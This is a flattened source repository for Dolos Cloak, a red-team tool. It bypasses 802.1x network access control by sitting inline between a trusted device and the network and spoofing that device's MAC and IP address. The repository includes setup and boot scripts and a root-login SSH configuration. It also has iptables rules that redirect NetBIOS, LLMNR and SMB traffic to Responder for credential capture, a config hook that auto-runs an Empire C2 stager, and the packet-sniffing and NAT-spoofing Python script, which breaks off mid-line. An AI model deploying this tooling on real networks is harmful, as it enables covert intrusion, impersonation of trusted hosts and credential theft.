├── logs └── .gitignore ├── .gitignore ├── setup ├── udhcpd-eth0.conf ├── setup.sh ├── interfaces ├── rc.local └── sshd_config ├── scripts ├── undo_reverse_listener.sh ├── reverse_listener_setup.sh ├── upgrade_to_vpn.sh ├── responder_setup.sh └── undo_responder_listener.sh ├── config.yaml ├── README.md └── autosniff.py /logs/.gitignore: -------------------------------------------------------------------------------- 1 | *.log 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Installer logs 2 | pip-log.txt 3 | notes.txt 4 | -------------------------------------------------------------------------------- /setup/udhcpd-eth0.conf: -------------------------------------------------------------------------------- 1 | start 169.254.44.50 2 | end 169.254.44.60 3 | interface eth0 4 | max_leases 5 5 | option subnet 255.255.255.0 6 | option router 169.254.44.44 7 | -------------------------------------------------------------------------------- /scripts/undo_reverse_listener.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Any 8443 traffic with a destination of the victim 3 | /sbin/iptables -t nat -D PREROUTING -i mibr -p tcp --dport 8443 -j DNAT --to 169.254.66.77:8443 4 | -------------------------------------------------------------------------------- /scripts/reverse_listener_setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Any 8443 traffic with a destination of the victim 3 | /sbin/iptables -t nat -A PREROUTING -i mibr -p tcp --dport 8443 -j DNAT --to 169.254.66.77:8443 4 | -------------------------------------------------------------------------------- /scripts/upgrade_to_vpn.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | /usr/sbin/openvpn /etc/openvpn/client.conf & 3 | /sbin/ebtables -A OUTPUT -o tun0 -j ACCEPT 4 | /sbin/iptables -A OUTPUT -o tun0 -j ACCEPT 5 | /sbin/arptables -A OUTPUT -o tun0 -j ACCEPT 6 | -------------------------------------------------------------------------------- /config.yaml: -------------------------------------------------------------------------------- 1 | iface0: 'usbnet0' 2 | iface1: 'usbnet1' 3 | management_int: 'eth0' 4 | radio_silence: 'OFF' 5 | enable_ipv6: 'OFF' 6 | client_ip: '' 7 | client_mac: '' 8 | gateway_ip: '' 9 | gateway_mac: '' 10 | domain_name: '' 11 | dns_server: '' 12 | auto_run: {switch: 'OFF', command: 'python /root/tools/dolos_cloak/empire_stager.py'} 13 | hidden_service: {switch: 'OFF', kind: 'TCP', rport: '8443', lport: '8443'} 14 | -------------------------------------------------------------------------------- /setup/setup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | echo installing pip 3 | apt-get install python-pip 4 | echo installing python setuptools 5 | pip install setuptools 6 | echo installing basic project dependencies 7 | apt-get install python-crypto python python-impacket python-pcapy libpcap0.8 bridge-utils ebtables arptables hostapd macchanger git 8 | echo installing yaml python module 9 | apt-get install python-yaml 10 | echo installing scapy 11 | apt-get install python-scapy 12 | echo setting up network interfaces 13 | cp ./interfaces /etc/network/interfaces 14 | echo setting up startup script 15 | cp ./rc.local /etc/rc.local 16 | echo setting up ssh daemon config 17 | cp ./sshd_config /etc/ssh/sshd_config 18 | echo setting up udhacp config 19 | cp ./udhcpd-eth0.conf /etc/udhcpd-eth0.conf 20 | echo creating empty log files 21 | touch ../logs/session.log 22 | touch ../logs/history.log 23 | echo All Done! 24 | -------------------------------------------------------------------------------- /scripts/responder_setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Any NetBIOS Name Resolution request 3 | /sbin/iptables -t nat -A PREROUTING -i mibr -p tcp --dport 137 -j DNAT --to 169.254.66.77:137 4 | /sbin/iptables -t nat -A PREROUTING -i mibr -p udp --dport 137 -j DNAT --to 169.254.66.77:137 5 | #Any NetBIOS session packet 6 | /sbin/iptables -t nat -A PREROUTING -i mibr -p tcp --dport 139 -j DNAT --to 169.254.66.77:139 7 | /sbin/iptables -t nat -A PREROUTING -i mibr -p udp --dport 139 -j DNAT --to 169.254.66.77:139 8 | #Any LLMNR Packet 9 | /sbin/iptables -t nat -A PREROUTING -i mibr -p tcp --dport 5355 -j DNAT --to 169.254.66.77:5355 10 | /sbin/iptables -t nat -A PREROUTING -i mibr -p udp --dport 5355 -j DNAT --to 169.254.66.77:5355 11 | #Any SMB packet 12 | /sbin/iptables -t nat -A PREROUTING -i mibr -p tcp --dport 445 -j DNAT --to 169.254.66.77:445 13 | /sbin/iptables -t nat -A PREROUTING -i mibr -p udp --dport 445 -j DNAT --to 169.254.66.77:445 14 | 15 | -------------------------------------------------------------------------------- /scripts/undo_responder_listener.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Any NetBIOS Name Resolution request 3 | /sbin/iptables -t nat -D PREROUTING -i mibr -p tcp --dport 137 -j DNAT --to 169.254.66.77:137 4 | /sbin/iptables -t nat -D PREROUTING -i mibr -p udp --dport 137 -j DNAT --to 169.254.66.77:137 5 | #Any NetBIOS session packet 6 | /sbin/iptables -t nat -D PREROUTING -i mibr -p tcp --dport 139 -j DNAT --to 169.254.66.77:139 7 | /sbin/iptables -t nat -D PREROUTING -i mibr -p udp --dport 139 -j DNAT --to 169.254.66.77:139 8 | #Any LLMNR Packet 9 | /sbin/iptables -t nat -D PREROUTING -i mibr -p tcp --dport 5355 -j DNAT --to 169.254.66.77:5355 10 | /sbin/iptables -t nat -D PREROUTING -i mibr -p udp --dport 5355 -j DNAT --to 169.254.66.77:5355 11 | #Any SMB packet 12 | /sbin/iptables -t nat -D PREROUTING -i mibr -p tcp --dport 445 -j DNAT --to 169.254.66.77:445 13 | /sbin/iptables -t nat -D PREROUTING -i mibr -p udp --dport 445 -j DNAT --to 169.254.66.77:445 14 | -------------------------------------------------------------------------------- /setup/interfaces: -------------------------------------------------------------------------------- 1 | #the loopback network interface 2 | auto lo 3 | iface lo inet loopback 4 | 5 | #auto wlan0 6 | #allow-hotplug wlan0 7 | #iface wlan0 inet static 8 | #address 169.254.44.44 9 | #netmask 255.255.255.0 10 | #broadcast 169.254.44.255 11 | 12 | ######################## Use this for Eth0 on NAC bypass ######################### 13 | 14 | #auto eth0 15 | #iface eth0 inet static 16 | #address 169.254.44.44 17 | #netmask 255.255.255.0 18 | #broadcast 169.254.44.255 19 | 20 | ####################### Use this for Eth0 on dropbox ######################### 21 | 22 | #auto eth0 23 | #iface eth0 inet dhcp 24 | 25 | ####################### Use this for slimshim setup ######################### 26 | 27 | auto eth0 28 | iface eth0 inet static 29 | address 169.254.44.44 30 | netmask 255.255.255.0 31 | broadcast 169.254.44.255 32 | 33 | 34 | auto usbnet0 35 | iface usbnet0 inet manual 36 | up ifconfig $IFACE up 37 | 38 | auto usbnet1 39 | iface usbnet1 inet manual 40 | up ifconfig $IFACE up 41 | 42 | auto wlan0 43 | iface wlan0 inet static 44 | address 192.0.0.1 45 | netmask 255.255.255.0 46 | 47 | 48 | -------------------------------------------------------------------------------- /setup/rc.local: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | # 4 | # rc.local 5 | # 6 | # This script is executed at the end of each multiuser runlevel. 7 | # Make sure that the script will "exit 0" on success or any other 8 | # value on error. 9 | # 10 | # In order to enable or disable this script just change the execution 11 | # bits. 12 | # 13 | # By default this script does nothing. 14 | 15 | /boot/backup/restore.sh 16 | #######################DO NOT CHANGE ABOVE THIS LINE ############################### 17 | 18 | # To create a Hostspot only - uncomment dnsmasq and comment everything else 19 | #service dnsmasq start 20 | #echo "starting openvpn" 21 | #sleep 60 22 | #openvpn /etc/openvpn/client.conf & 23 | #/etc/init.d/ssh start & 24 | 25 | ####################### Uncomment below for NAC Bypass ############################## 26 | 27 | #dolos_cloak 28 | systemctl stop NetworkManager.service 29 | systemctl disable NetworkManager.service 30 | > /etc/resolv.conf 31 | ifconfig eth0 down 32 | #make sure the session.log exists so we don't error out 33 | touch /root/tools/dolos_cloak/logs/session.log 34 | cat /root/tools/dolos_cloak/logs/session.log >> /root/tools/dolos_cloak/logs/history.log 35 | > /root/tools/dolos_cloak/logs/session.log 36 | python /root/tools/dolos_cloak/autosniff.py > /root/tools/dolos_cloak/logs/session.log 2>&1 & 37 | ifconfig eth0 169.254.44.44/24 38 | ifconfig eth0 up 39 | udhcpd /etc/udhcpd-eth0.conf 40 | #ifconfig wlan0 169.254.44.44/24 41 | #ifconfig wlan0 up 42 | #hostapd -B /etc/hostapd/hostapd.conf 43 | #udhcpd /etc/udhcpd-wlan0.conf 44 | /etc/init.d/ssh start & 45 | 46 | exit 0 47 | -------------------------------------------------------------------------------- /setup/sshd_config: -------------------------------------------------------------------------------- 1 | # Package generated configuration file 2 | # See the sshd_config(5) manpage for details 3 | 4 | # What ports, IPs and protocols we listen for 5 | Port 22 6 | # Use these options to restrict which interfaces/protocols sshd will bind to 7 | #ListenAddress :: 8 | #For Dropbox 9 | ListenAddress 0.0.0.0 10 | #for NAC Bypass 11 | #ListenAddress 169.254.44.44 12 | Protocol 2 13 | # HostKeys for protocol version 2 14 | HostKey /etc/ssh/ssh_host_rsa_key 15 | HostKey /etc/ssh/ssh_host_dsa_key 16 | HostKey /etc/ssh/ssh_host_ecdsa_key 17 | HostKey /etc/ssh/ssh_host_ed25519_key 18 | #Privilege Separation is turned on for security 19 | UsePrivilegeSeparation yes 20 | 21 | # Lifetime and size of ephemeral version 1 server key 22 | KeyRegenerationInterval 3600 23 | ServerKeyBits 1024 24 | 25 | # Logging 26 | SyslogFacility AUTH 27 | LogLevel INFO 28 | 29 | # Authentication: 30 | LoginGraceTime 120 31 | PermitRootLogin yes 32 | StrictModes yes 33 | 34 | RSAAuthentication yes 35 | PubkeyAuthentication yes 36 | #AuthorizedKeysFile %h/.ssh/authorized_keys 37 | 38 | # Don't read the user's ~/.rhosts and ~/.shosts files 39 | IgnoreRhosts yes 40 | # For this to work you will also need host keys in /etc/ssh_known_hosts 41 | RhostsRSAAuthentication no 42 | # similar for protocol version 2 43 | HostbasedAuthentication no 44 | # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication 45 | #IgnoreUserKnownHosts yes 46 | 47 | # To enable empty passwords, change to yes (NOT RECOMMENDED) 48 | PasswordAuthentication yes 49 | PermitEmptyPasswords no 50 | 51 | # Change to yes to enable challenge-response passwords (beware issues with 52 | # some PAM modules and threads) 53 | ChallengeResponseAuthentication no 54 | 55 | # Change to no to disable tunnelled clear text passwords 56 | #PasswordAuthentication yes 57 | 58 | # Kerberos options 59 | #KerberosAuthentication no 60 | #KerberosGetAFSToken no 61 | #KerberosOrLocalPasswd yes 62 | #KerberosTicketCleanup yes 63 | 64 | # GSSAPI options 65 | #GSSAPIAuthentication no 66 | #GSSAPICleanupCredentials yes 67 | 68 | X11Forwarding yes 69 | X11DisplayOffset 10 70 | PrintMotd no 71 | PrintLastLog yes 72 | TCPKeepAlive yes 73 | #UseLogin no 74 | 75 | #MaxStartups 10:30:60 76 | #Banner /etc/issue.net 77 | 78 | # Allow client to pass locale environment variables 79 | AcceptEnv LANG LC_* 80 | 81 | Subsystem sftp /usr/lib/openssh/sftp-server 82 | 83 | # Set this to 'yes' to enable PAM authentication, account processing, 84 | # and session processing. If this is enabled, PAM authentication will 85 | # be allowed through the ChallengeResponseAuthentication and 86 | # PasswordAuthentication. Depending on your PAM configuration, 87 | # PAM authentication via ChallengeResponseAuthentication may bypass 88 | # the setting of "PermitRootLogin without-password". 89 | # If you just want the PAM account and session checks to run without 90 | # PAM authentication, then enable this but set PasswordAuthentication 91 | # and ChallengeResponseAuthentication to 'no'. 92 | UsePAM yes 93 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Dolos Cloak 2 | ============ 3 | 4 | Dolos Cloak is a python script designed to help network penetration testers and red teamers bypass 802.1x solutions by using an advanced man-in-the-middle attack. The tool is able to piggyback on the wired connection of a victim device that is already allowed on the target network without kicking the vicitim device off the network. It was designed to run on an Odroid C2 running Kali ARM and requires two external USB ethernet dongles. It should be possible to run the tool on other hardware and distros but it has only been tested on an Odroid C2 thus far. 5 | 6 | by Forrest Kasler ([fkasler](https://twitter.com/fkasler))(ph3eds) 7 | 8 | [![Foo](https://raw.githubusercontent.com/toolswatch/badges/master/arsenal/usa/2019.svg?sanitize=true)](https://www.blackhat.com/us-19/arsenal/schedule/index.html#dolos-cloak-your-nac-cant-see-this-15250) 9 | 10 | How it Works 11 | ============ 12 | 13 | Dolos Cloak uses iptables, arptables, and ebtables NAT rules in order to spoof the MAC and IP addresses of a trusted network device and blend in with regular network traffic. On boot, the script disallows any outbound network traffic from leaving the Odroid in order to hide the MAC addresses of its network interfaces. 14 | 15 | Next, the script creates a bridge interface and adds the two external USB ethernet dongles to the bridge. All traffic, including any 802.1x authentication steps, is passed on the bridge between these two interfaces. In this state, the device is acting like a wire tap. Once the Odroid is plugged in between a trusted device (desktop, IP phone, printer, etc.) and the network, the script listens to the packets on the bridge interface in order to determine the MAC address and IP of the victim device. 16 | 17 | Once the script determines the MAC address and IP of the victim device, it configures NAT rules in order to make all traffic on the OUTPUT and POSTROUTING chains look like it is coming from the victim device. At this point, the device is able to communicate with the network without being burned. 18 | 19 | Once the Odroid is spoofing the MAC address and IP of the victim device, the script sends out a DHCP request in order to determine its default gateway, search domain, and name servers. It uses the response in order to configure its network settings so that the device can communicate with the rest of the network. 20 | 21 | At this point, the Odroid is acting as a stealthy foothold on the network. Operators can connect to the Odroid over the built-in NIC eth0 in order to obtain network access. The device can also be configured to send out a reverse shell so that operators can utilize the device as a drop box and run commands on the network remotely. For example, the script can be configured to run an Empire python stager after running the man-in-the-middle attack. You can then use the Empire C2 connection to upgrade to a TCP reverse shell or VPN tunnel. 22 | 23 | Installation and Usage 24 | ============ 25 | 26 | * Perform default install of Kali ARM on Odroid C2. Check out the Blackhills writeup [here](https://www.blackhillsinfosec.com/how-to-build-your-own-penetration-testing-drop-box/). 27 | 28 | ``` 29 | ssh root@169.254.44.44 30 | ``` 31 | 32 | * Be sure to save this project to /root/tools/dolos_cloak 33 | * Plug one external USB NIC into the Odroid and run dhclient to get internet access in order to install dependencies: 34 | 35 | ``` 36 | dhclient usbnet0 37 | ``` 38 | 39 | * Run the install script to get all the dependencies and set the Odroid to perform the MitM on boot by default. Keep in mind that this will make drastic changes to the device's network settings and disable Network Manager. You may want to download any additional tools before this step: 40 | 41 | ``` 42 | cd setup 43 | ./setup.sh 44 | ``` 45 | 46 | * You may want to install some other tools like 'host' that do not come standard on Kali ARM. Empire, enum4linux, and responder are also nice additions. 47 | * Make sure you are able to ssh into the Odroid via the built-in NIC eth0. Add your public key to /root/.ssh/authorized_keys for fast access. 48 | * Modify config.yaml to meet your needs. You should make sure the interfaces match the default names that your Odroid is giving your USB dongles. Order does not matter here. You should leave client_ip, client_mac, gateway_ip, and gateway_mac blank unless you used a LAN tap to mine them. The script _should_ be able to figure this out for us. Set these options only if you know for sure their values. The management_int, domain_name, and dns_server options are placeholders for now but will be usefull very soon. For shells, you can set up a custom autorun command in the config.yaml to run when the man-in-middle attack has autoconfigured. You can also set up a cron job to send back shells. 49 | * Connect two usb ethernet dongles and reboot the device (you need two because the built-in ethernet won't support promiscuous mode) 50 | * Boot the device and wait a few seconds for autosniff.py to block the OUTPUT ethernet and IP chains. Then plug in the Odroid between a trusted device and the network. 51 | * PWN N00BZ, get $$$, have fun, hack the planet 52 | 53 | Tips 54 | ===== 55 | * Mod and run ./scripts/upgrade_to_vpn.sh to turn a stealthy Empire agent into a full blown VPN tunnel 56 | * Mod and run ./scripts/reverse_listener_setup.sh to set up a port for a reverse listener on the device. 57 | * Run ./scripts/responder_setup.sh to allow control of the protocols that we capture for responder. You shoud run responder on the bridge interface: 58 | 59 | ``` 60 | responder -I mibr 61 | ``` 62 | 63 | * Be careful as some NAC solutions use port 445, 443, and 80 to periodically verify hosts. Working on a solution to this... 64 | * Logs help when the autosniff.py misbehaves. The rc.local is set to store the current session logs in ./logs/session.log and logs in ./logs/history.log so we can reboot and still check the last session's log if need be. Log files have cool stuff in them like network info, error messages, and all bash commands to set up the NAT ninja magic. 65 | 66 | Stealth 67 | ======== 68 | 69 | Use the radio_silence parameter to prevent any output originating from us. 70 | This is for sniffing-only purpose. 71 | 72 | License 73 | ======= 74 | 75 | This project is a major re-write of a tool written by @jkadijk and uses the class structure of the origional project. Per his request: 76 | 77 | "Just give me some credits if you build on this and keep it open source :)" - @jkadijk 78 | 79 | -------------------------------------------------------------------------------- /autosniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # Author: @fkasler aka ph3eds 3 | # Origional Base script: @jkadijk 4 | # Base decoderthread layout from the Impacket examples. 5 | 6 | import sys 7 | import os 8 | import signal 9 | import time 10 | import argparse 11 | import subprocess 12 | import struct 13 | import re 14 | from threading import Thread 15 | import socket 16 | import pty 17 | import logging 18 | #import yaml to read config file 19 | import yaml 20 | 21 | import pcapy 22 | from pcapy import open_live 23 | from scapy.all import * 24 | import impacket 25 | import impacket.eap 26 | import impacket.dhcp 27 | import impacket.ImpactPacket 28 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 29 | 30 | 31 | logging.basicConfig(stream=sys.stderr, level=logging.INFO) 32 | 33 | def cmd(c): 34 | return subprocess.check_output(c, shell=True) 35 | 36 | # Signal handler class for Ctrl-c 37 | class SignalHandler(): 38 | def __init__(self, decoder, bridge, netfilter): 39 | self.decoder = decoder 40 | self.bridge = bridge 41 | self.netfilter = netfilter 42 | signal.signal(signal.SIGINT, self.signal_handler) 43 | 44 | def signal_handler(self, signal, frame): 45 | self.decoder.stop() 46 | self.bridge.destroy() 47 | self.netfilter.reset() 48 | sys.exit(0) 49 | 50 | @staticmethod 51 | def threadSleep(sec, thread): 52 | for _ in range(sec): 53 | if thread.running: # Stop sleeping when thread stops 54 | time.sleep(1) 55 | 56 | 57 | class DecoderThread(Thread): 58 | def __init__(self, bridge, subnet, arptable): 59 | # Open interface for capturing. 60 | self.pcap = open_live(bridge.bridgename, 1500, 0, 100) 61 | 62 | # Query the type of the link and instantiate a decoder accordingly. 63 | datalink = self.pcap.datalink() 64 | if pcapy.DLT_EN10MB == datalink: 65 | self.decoder = EthDecoder() 66 | elif pcapy.DLT_LINUX_SLL == datalink: 67 | self.decoder = LinuxSLLDecoder() 68 | else: 69 | raise Exception("Datalink type not supported: " % datalink) 70 | 71 | self.bridge = bridge 72 | self.subnet = subnet 73 | self.arptable = arptable 74 | self.running = True 75 | 76 | Thread.__init__(self) 77 | 78 | def run(self): 79 | # Sniff ad infinitum. 80 | # PacketHandler shall be invoked by pcap for every packet. 81 | while self.running: 82 | self.pcap.dispatch(1, self.packetHandler) 83 | 84 | def stop(self): 85 | self.running = False 86 | time.sleep(0.1) 87 | 88 | def packetHandler(self, hdr, data): 89 | e = self.decoder.decode(data) 90 | 91 | if e.get_ether_type() == impacket.eap.DOT1X_AUTHENTICATION: 92 | eapol = e.child() 93 | if eapol.get_packet_type() == eapol.EAP_PACKET: 94 | eap = eapol.child() 95 | eapr = eap.child() 96 | # Only client sends responses with identity 97 | if eap.get_code() == eap.RESPONSE and eapr.get_type() == eapr.IDENTITY: 98 | self.subnet.clientmac = e.get_ether_shost() 99 | 100 | elif e.get_ether_type() == impacket.ImpactPacket.IP.ethertype: 101 | ip = e.child() 102 | if isinstance(ip.child(), impacket.ImpactPacket.UDP): 103 | udp = ip.child() 104 | if isinstance(udp.child(), impacket.dhcp.BootpPacket): 105 | bootp = udp.child() 106 | if isinstance(bootp.child(), impacket.dhcp.DhcpPacket): 107 | dhcp = bootp.child() 108 | if dhcp.getOptionValue('message-type') == dhcp.DHCPDISCOVER: 109 | self.subnet.clientmac = e.get_ether_shost() 110 | elif dhcp.getOptionValue('message-type') == dhcp.DHCPREQUEST: 111 | self.subnet.clientmac = e.get_ether_shost() 112 | elif dhcp.getOptionValue('message-type') == dhcp.DHCPACK: 113 | self.subnet.clientip = self.subnet.int2ip(bootp["yiaddr"]) 114 | self.subnet.clientmac = e.get_ether_dhost() 115 | self.subnet.gatewayip = self.subnet.int2ip(dhcp.getOptionValue("router")[0]) 116 | self.subnet.gatewaymac = e.get_ether_shost() 117 | self.subnet.subnetmask = self.subnet.ip2array( 118 | self.subnet.int2ip(dhcp.getOptionValue("subnet-mask"))) 119 | self.subnet.subnet = self.subnet.ip2array(self.subnet.int2ip( 120 | dhcp.getOptionValue("subnet-mask") & bootp["yiaddr"])) 121 | self.subnet.dhcp = True 122 | elif dhcp.getOptionValue('message-type') == dhcp.DHCPOFFER: 123 | self.subnet.clientip = self.subnet.int2ip(bootp["yiaddr"]) 124 | self.subnet.clientmac = e.get_ether_dhost() 125 | self.subnet.gatewayip = self.subnet.int2ip(dhcp.getOptionValue("router")[0]) 126 | self.subnet.domain_name = dhcp.getOptionValue("domain name")[0] 127 | self.subnet.dns_server = self.subnet.int2ip(dhcp.getOptionValue("domain name server")[0]) 128 | self.subnet.gatewaymac = e.get_ether_shost() 129 | self.subnet.subnetmask = self.subnet.ip2array( 130 | self.subnet.int2ip(dhcp.getOptionValue("subnet-mask"))) 131 | self.subnet.subnet = self.subnet.ip2array(self.subnet.int2ip( 132 | dhcp.getOptionValue("subnet-mask") & bootp["yiaddr"])) 133 | self.subnet.dhcp = True 134 | 135 | else: 136 | if not self.subnet.dhcp: 137 | ttl = ip.get_ip_ttl() 138 | # Uneven but not 1 or 255 ttl means it's probably coming from a router 139 | if (ttl % 2) > 0 and ttl > 1 and ttl != 255: 140 | self.subnet.gatewaymac = e.get_ether_shost() 141 | self.subnet.clientmac = e.get_ether_dhost() 142 | self.subnet.clientip = ip.get_ip_dst() 143 | 144 | elif e.get_ether_type() == impacket.ImpactPacket.ARP.ethertype: 145 | arp = e.child() 146 | if not self.subnet.dhcp: 147 | self.subnet.registeraddress(arp.get_ar_tpa()) 148 | self.subnet.registeraddress(arp.get_ar_spa()) 149 | 150 | if arp.get_op_name(arp.get_ar_op()) == "REPLY": 151 | logging.debug("got arp reply") 152 | self.arptable.registeraddress(arp.get_ar_spa(), arp.as_hrd(arp.get_ar_sha())) 153 | if arp.get_op_name(arp.get_ar_op()) == "REQUEST": 154 | self.arptable.registeraddress(arp.get_ar_spa(), arp.as_hrd(arp.get_ar_sha())) 155 | 156 | 157 | class ArpTable: 158 | table = {} 159 | 160 | def registeraddress(self, ip_array, hw_address): 161 | ip = self.printip(ip_array) 162 | if ip != "0.0.0.0": 163 | self.table[ip] = hw_address 164 | logging.debug("%s : %s" % (ip, hw_address)) 165 | 166 | def printip(self, ip_array): 167 | ip_string = socket.inet_ntoa(struct.pack('BBBB', *ip_array)) 168 | return ip_string 169 | 170 | def updatekernel(self): 171 | #for ip, mac in self.table.iteritems(): 172 | #copy the dict first so that we don't crash if the size changes during iteration 173 | table_copy = self.table.copy() 174 | #iteritems_copy = self.table.iteritems()) 175 | for ip, mac in table_copy.iteritems(): 176 | os.system("arp -i mibr -s %s %s" % (ip, mac)) 177 | os.system("ip route add %s/32 dev mibr 2>/dev/null" % ip) 178 | 179 | 180 | # Only supports /24 or smaller 181 | class Subnet: 182 | def __init__(self, config): 183 | if config['client_mac'] != '': 184 | self.clientmac = bytearray.fromhex(re.sub(':','',config['client_mac'])) 185 | else: 186 | self.clientmac = None 187 | if config['gateway_mac'] != '': 188 | self.gatewaymac = bytearray.fromhex(re.sub(':','',config['gateway_mac'])) 189 | else: 190 | self.gatewaymac = None 191 | self.subnet = None 192 | self.minaddress = None 193 | self.maxaddress = None 194 | self.clientip = config['client_ip'] 195 | self.gatewayip = config['gateway_ip'] 196 | self.subnetmask = None 197 | self.dhcp = False 198 | self.domain_name = config['domain_name'] 199 | self.dns_server = config['dns_server'] 200 | 201 | def registeraddress(self, ip_array): 202 | if self.printip(ip_array) == "0.0.0.0": 203 | return False 204 | if ip_array[0] == 169: 205 | return False 206 | if self.checksubnet(ip_array): 207 | if self.minaddress is None or self.minaddress[3] > ip_array[3]: 208 | self.minaddress = ip_array 209 | if self.maxaddress is None or self.maxaddress[3] < ip_array[3]: 210 | self.maxaddress = ip_array 211 | else: 212 | logging.debug(self.printip(ip_array)) 213 | logging.debug("[!] Error, duplicate or big subnet detected") 214 | 215 | def checksubnet(self, ip_array): 216 | if self.subnet is None: 217 | self.subnet = ip_array 218 | return True 219 | if ip_array[0] == self.subnet[0] and ip_array[1] == self.subnet[1]: 220 | return True 221 | else: 222 | return False 223 | 224 | def printip(self, ip_array): 225 | ip_string = socket.inet_ntoa(struct.pack('BBBB', *ip_array)) 226 | return ip_string 227 | 228 | def ip2array(self, ip): 229 | ip_array = struct.unpack('BBBB', socket.inet_aton(ip)) 230 | return ip_array 231 | 232 | def ip2int(self, addr): 233 | return struct.unpack("!I", socket.inet_aton(addr))[0] 234 | 235 | def int2ip(self, addr): 236 | return socket.inet_ntoa(struct.pack("!I", addr)) 237 | 238 | def getcidr(self): 239 | if self.dhcp and self.subnet: 240 | return bin(self.ip2int(self.printip(self.subnetmask))).count("1") 241 | else: 242 | if self.maxaddress and self.minaddress: 243 | bits = 0 244 | discovered_hosts = self.maxaddress[3] - self.minaddress[3] + 1 245 | hosts = 0 246 | while hosts < discovered_hosts and bits <= 8: 247 | bits += 1 248 | hosts = 2**bits 249 | return bits 250 | else: 251 | return 0 252 | 253 | def get_gatewaymac(self): 254 | ethernet = impacket.ImpactPacket.Ethernet() 255 | temp = ethernet.as_eth_addr(self.gatewaymac) 256 | return re.sub(r':(\d):', r':0\1:', temp) 257 | 258 | def get_clientmac(self): 259 | ethernet = impacket.ImpactPacket.Ethernet() 260 | temp = ethernet.as_eth_addr(self.clientmac) 261 | return re.sub(r':(\d):', r':0\1:', temp) 262 | 263 | def __str__(self): 264 | header = "Network config: \n" 265 | output = "" 266 | 267 | output += "dhcp seen: %s\n" % str(self.dhcp) 268 | 269 | if not self.dhcp and self.minaddress and self.maxaddress: 270 | output += "cidr bits: %i\n" % self.getcidr() 271 | elif self.dhcp and self.subnet: 272 | output += "subnet: %s / netmask: %s / cidr: %i\n" % \ 273 | (self.printip(self.subnet), self.printip(self.subnetmask), self.getcidr()) 274 | 275 | if self.clientip: 276 | output += "client ip: %s\n" % self.clientip 277 | 278 | if self.clientmac: 279 | output += "client mac: %s\n" % self.get_clientmac() 280 | 281 | if self.gatewayip: 282 | output += "gateway ip: %s\n" % self.gatewayip 283 | 284 | if self.gatewaymac: 285 | output += "gateway mac: %s\n" % self.get_gatewaymac() 286 | 287 | if self.domain_name: 288 | output += "domain name: %s\n" % self.domain_name 289 | 290 | if self.dns_server: 291 | output += "DNS server: %s\n" % self.dns_server 292 | 293 | if output == "": 294 | return "Network config unknown" 295 | else: 296 | return header + output 297 | 298 | 299 | # Create ebtables, arptables and iptables rules based on a subnet object 300 | class Netfilter: 301 | subnet = None 302 | bridge = None 303 | 304 | def __init__(self, subnet, bridge): 305 | self.subnet = subnet 306 | self.bridge = bridge 307 | 308 | self.inittables() 309 | 310 | def inittables(self): 311 | self.flushtables() 312 | os.system("iptables -A OUTPUT -o lo -j ACCEPT") 313 | os.system("iptables -P OUTPUT DROP") 314 | os.system("ebtables -P OUTPUT DROP") 315 | os.system("arptables -P OUTPUT DROP") 316 | os.system("ebtables -A OUTPUT -p 0x0806 -j DROP") # _really_ block arp e.g. for nmap 317 | os.system("ebtables -A OUTPUT -p 0x0808 -j DROP") # _really_ block arp e.g. for nmap 318 | os.system("ebtables -A OUTPUT -p 0x8035 -j DROP") # _really_ block arp e.g. for nmap 319 | os.system("ebtables -A OUTPUT -p 0x80F3 -j DROP") # _really_ block arp e.g. for nmap 320 | 321 | #at least allow us to ssh in for now 322 | os.system("ebtables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 323 | os.system("iptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 324 | os.system("arptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 325 | 326 | def flushtables(self): 327 | os.system("iptables -F") 328 | os.system("iptables -F -t nat") 329 | os.system("ebtables -F") 330 | os.system("ebtables -t nat -F") 331 | os.system("arptables -F") 332 | os.system("ebtables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 333 | os.system("iptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 334 | os.system("arptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 335 | 336 | def reset(self): 337 | self.flushtables() 338 | os.system("iptables -P OUTPUT ACCEPT") 339 | os.system("ebtables -P OUTPUT ACCEPT") 340 | os.system("arptables -P OUTPUT ACCEPT") 341 | 342 | def updatetables(self): 343 | self.flushtables() 344 | #os.system("ebtables -t filter -A OUTPUT -s %s -d ff:ff:ff:ff:ff:ff -j DROP" % (self.bridge.ifmacs[self.bridge.switchsideint])) #drop broadcast protocols from our device 345 | #os.system("ebtables -t filter -A OUTPUT -s %s -d 01:00:5e:00:00:01 -j DROP" % (self.bridge.ifmacs[self.bridge.switchsideint])) #drop broadcast protocols from our device 346 | #os.system("ebtables -t filter -A OUTPUT -s %s -d 33:33:00:00:00:01 -j DROP" % (self.bridge.ifmacs[self.bridge.switchsideint])) #drop broadcast protocols from our device 347 | logging.debug("Updating netfilter") 348 | #we'll use this library to keep things short in a minute... 349 | sports = {'tcp': ':61000-62000', 'udp': ':61000-62000', 'icmp': ''} 350 | 351 | logging.info("[*] Hiding communication between us and switch") 352 | #set up an IP for our bridge interface 353 | os.system("ip addr add 169.254.66.77/24 dev %s" % self.bridge.bridgename) 354 | logging.info("ip addr add 169.254.66.77/24 dev %s" % self.bridge.bridgename) 355 | #tag all communication leaving the bridge towards the switch with the victim's MAC address 356 | os.system("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % 357 | (self.bridge.ifmacs[self.bridge.switchsideint], self.bridge.switchsideint, self.subnet.get_clientmac())) 358 | logging.info("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % 359 | 